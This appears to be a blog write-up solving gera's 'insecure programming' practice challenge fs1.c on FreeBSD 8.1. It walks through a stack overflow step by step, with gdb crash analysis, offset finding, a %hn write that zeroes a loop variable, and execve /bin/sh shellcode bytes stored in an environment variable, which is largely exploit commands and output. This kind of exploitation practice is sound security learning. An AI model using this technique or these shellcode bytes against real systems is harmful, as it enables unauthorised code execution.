A well-known set of vulnerable programs to practice exploitation can be found at gera’s insecure programming. I will go through several challenges over the coming weeks. Ideally, I want to complete them all. Let’s see how far I can go. In this post I will go over how to solve format string #1 (fs1.c).
fs1.c is posted below for reference.
The source code shows a potential vulnerability at first glance: the strcpy(buf, argc). This suggests the program can be exploited by the vanilla buffer overflow. The environment I used to solve this exercise was FreeBSD 8.1-RELEASE because it is still possible to perform basic exploitation on it. I changed renamed fs1.c to insecure_1.c.
> uname -ris FreeBSD 8.1-RELEASE GENERIC > gcc -o insecure_1 insecure_1.c > ./insecure_1 "Doomsday" Doomsday > ./insecure_1 `perl -e 'print "A"x50000'` AAAAAAAAAAA ...snip... AAAAAAA Segmentation fault (core dumped) > gdb -q insecure_1 insecure_1.core ...snip... #0 0x2816e949 in open () from /lib/libc.so.7 (gdb) x/i $eip 0x2816e949 <open+11965>:<span> </span>mov %dx,(%eax) (gdb) x/x $eax 0x41414141:<span> </span>Cannot access memory at address 0x41414141 (gdb) x/x $edx 0xc350:<span> </span>Cannot access memory at address 0xc350 (gdb) quit
In open(), it is trying to write 0xc350 (5000 in decimal) to memory location 0x41414141. The value 0xc350 is the length of the command-line argument passed to the program. The expected memory address to be used in open() was the address plen pointed too. Since buf, plen, zero are on the stack they will be overwritten. The offset was quickly found using Metasploit’s pattern_create.rb at 258.
> ./insecure_1 `perl -e 'print "A"x258 ."\$\$\$\$CCCC"'` Segmentation fault (core dumped) > gdb -q insecure_1 insecure_1.core ...snip... #0 0x2816e949 in open () from /lib/libc.so.7 (gdb) x/x $eax 0x24242424: Cannot access memory at address 0x24242424
One issue presented themselves what address to substitute in open(). After looking at fs1.c again, the while loop appears to be another problem in getting a shell. When I overwrote the buffer, I filled zero and plen with 0x41. Let’s take a step back to grammar programming school. In a while loop, any expression that evaluates a value other than 0 (zero) is true and the while loop will never end. Therefore, a value of 0 (zero) has to be written to the variable zero to continue the execution of the program. I have rewritten the insecure_1.c source to include one printf to find the location of zero and to view its contents.
> ./insecure_1 `perl -e 'print "A"x258 ."\$\$\$\$CCCC"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�뿿CCCC plen @ 0x24242424 zero @ 0xbfbee88a value 4141
The zero address ( 0xbfbee88a ) will substitute the thus allowing the %hn to write to the zero address. If two bytes are being written, a string length of 65536 bytes, will cause an integer overflow and write a value of zero to 0xbfbee88a .
> ./insecure_1 `perl -e 'print "A"x258 ."\x8a\xe8\xbe\xbf"."A"x65274'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ..snip.. AAAAAAAAAAAA plen @ 0xbfbee88a zero @ 0xbfbee88a value 0 Segmentation fault (core dumped) > !gdb gdb insecure_1 insecure_1.core GNU gdb 6.1.1 [FreeBSD] ..snip.. #0 0x0804852b in main () (gdb) x/i $eip 0x804852b : ret (gdb) x/x $esp 0x4141413d: Cannot access memory at address 0x4141413d (gdb) quit
An issue is that the most significant byte (MSB) is 0x3d. After some investigating, the MSB was was being reduced by 4. So if I supplied 0x24242424, it will changed to 0x24242420. I do not know why this happens and any insight would be appreciated. The program is ready to be busticated. The second part of the string after the zero address will be filled with the address of my shellcode. I stored my shellcode in my environmental variable (I used tcsh, if you have not noticed):
> setenv SHELLCODE `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x\x68\x68\x2f\x62\x69\x6e\x89\xe1\x50\x54\x51\xb0\x3b\x50\xcd\x80"'`
I obtained the address of the env variable from a program named “getenv” in “Hacking the Art of Exploitation”. I created a perl program to weaponize the exploit.
The extra two ‘\x90’ bytes is to have the total length of the attack string be 65536. Yet another issue presented itself.
> perl attack.pl AAAAAAAAAAAAAAAAAA ..snip.. �o���o���o���o���o���o���o���o���o���o���o���o���o���o���o���o� plen @ 0xbfbee88a zero @ 0xbfbee88a value 0 >
It should have dropped me into a shell. However, insecure_1 silently dropped a core dump instead.
> !gdb gdb insecure_1 insecure_1.core GNU gdb 6.1.1 [FreeBSD] ...snip... Loaded symbols for /libexec/ld-elf.so.1 #0 0x3d45444f in ?? () (gdb) x/x $esp 0xbfbfef6f: 0x6850c031 (gdb) quit
The address 0x3d45444f looks like ASCII character. The individual bytes represent ‘=’, ‘E’, ‘D’, ‘O’ respectively. Once again another problem (it does not stop) occurred, the shellcode was being loaded. In Freebsd 8.1, the insecure_1 disassembly revealed why this was happening.
08048490 <main>: ...snip... 8048516: 0f b7 45 f2 movzwl 0xfffffff2(%ebp),%eax 804851a: 66 85 c0 test %ax,%ax 804851d: 75 f7 jne 8048516 804851f: 81 c4 20 01 00 00 add $0x120,%esp 8048525: 59 pop %ecx 8048526: 5b pop %ebx 8048527: 5d pop %ebp 8048528: 8d 61 fc lea 0xfffffffc(%ecx),%esp 804852b: c3 ret 804852c: 90 nop
The culprit was the LEA instruction. A quick solution was to add in one more layer of indirection. In the beginning of the environmental variable value, I added an address that points directly to my shellcode. An illustration of the attack string and environmental variable is shown below:
The layout of the attack string looks like: [AAAA][zero address][address to env variable value]
The layout of the environmental variable: SHELLCODE =[address to shellcode][shellcode]
After some minor calculations to relocate the address to the shellcode and the zero address, the exploit is ready. The final revised exploit is shown below:
The new SHELLCODE environmental variable now looks like:
> setenv SHELLCODE `perl -e 'print "\x6f\xef\xbf\xbf\x31\xc0\x50\x68\x2f\x2f\x\x68\x68\x2f\x62\x69\x6e\x89\xe1\x50\x54\x51\xb0\x3b\x50\xcd\x80"'`
> perl attack.pl AAA ..snip.. �o���o���o����� plen @ 0xbfbeeb9a zero @ 0xbfbeeb9a value 0 $
If you notice the address 0xbfbfef6f being repeated in the environmental variable and the attack string:
The address 0xbfbfef6f is being reduced by 4 when it is supplied as the attack string. So basically it will be 0xbfbfef6b and 0xbfbfef6b points to 0xbfbfef6f (which is the address of the shellcode).
That’s how you busticate a program.